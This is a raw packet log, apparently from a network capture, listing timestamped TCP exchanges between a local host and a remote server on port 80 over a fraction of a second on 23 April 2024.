Apr 23, 2024 09:33:01.813813925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813827038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813838959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813851118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.813851118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813855886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.813864946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813875914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813886881 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.813888073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813899994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813906908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813925028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.813956022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.813972950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813980103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.813987017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.813997984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814019918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.814040899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.814040899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.814112902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814126015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814136982 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814148903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814155102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.814161062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.814163923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814176083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814186096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814198017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814198971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.814198971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.814209938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814217091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.814224958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814234972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814254045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.814270973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.814410925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814449072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.814459085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814471006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814481020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814502001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.814516068 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.814553022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814565897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814577103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814587116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.814589024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814615011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.814623117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814642906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814646959 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.814656019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.814673901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.814699888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.866369009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866384029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866394997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866406918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866424084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866434097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.866435051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866446972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866460085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866468906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.866472960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866481066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.866483927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866496086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866504908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.866508007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866517067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.866520882 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866533995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866544962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.866545916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866561890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866571903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866575956 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.866580963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.866584063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866595984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866605997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866606951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.866617918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866630077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866636992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.866641045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866652012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866652012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.866662979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866673946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.866694927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866707087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866708040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.866713047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.866720915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866729975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.866754055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.866929054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866941929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.866967916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.866991043 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867105007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867115974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867127895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867144108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867153883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867155075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867167950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867178917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867181063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867187023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867191076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867204905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867213964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867230892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867238045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867244959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867254972 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867255926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867275953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867276907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867280960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867311954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867369890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867382050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867394924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867413044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867429018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867465019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867476940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867506027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867526054 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867567062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867578983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867592096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867603064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867603064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867614985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867628098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867636919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867636919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867644072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867650986 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867674112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867690086 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867695093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867707014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867734909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867744923 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867765903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867779970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867803097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867820024 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867835045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867846012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867877007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867887020 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.867897987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.867937088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868000984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868016958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868027925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868046999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868057966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868117094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868133068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868144989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868156910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868158102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868169069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868180037 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868181944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868194103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868202925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868205070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868230104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868242979 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868275881 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868314981 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868346930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868376970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868386984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868387938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868408918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868418932 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868429899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868443966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868454933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868465900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868469000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868491888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868501902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868599892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868643045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868674040 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868685961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868696928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868719101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868741989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868741989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868777037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868818998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.868850946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868864059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868874073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.868911028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.870102882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.870102882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.918816090 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.918832064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.918843985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.918941975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.918946028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.918957949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.918968916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.918979883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.918988943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.918992043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919003963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919007063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919017076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919028044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919033051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919039965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919060946 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919079065 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919096947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919110060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919121027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919131994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919137001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919148922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919156075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919167042 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919173002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919187069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919194937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919194937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919197083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919202089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919238091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919244051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919423103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919467926 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919481993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919498920 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919509888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919523001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919523954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919544935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919545889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919552088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919558048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919570923 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919580936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919583082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919594049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919601917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919636011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919662952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919702053 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919758081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919770002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919780970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919794083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919809103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919851065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919889927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.919945002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.919985056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.966433048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966451883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966463089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966531992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.966573000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.966742992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966757059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966768026 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966784000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966795921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966797113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.966808081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966813087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.966820002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966830969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966836929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.966842890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966850042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.966855049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966866016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966871977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.966877937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966888905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966900110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966911077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966913939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.966922998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966933966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966933966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.966943979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966948032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.966957092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966968060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966975927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.966979980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.966991901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.967004061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.967015028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.967026949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.967029095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.967029095 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.967037916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.967046022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.967048883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.967060089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.967071056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.967081070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.967091084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.967092991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.967098951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.967103958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.967108011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.967118025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.967128992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.967135906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.967140913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:01.967149019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:01.967153072 CEST	80	49704	185.172.128.76	192.168.2.5
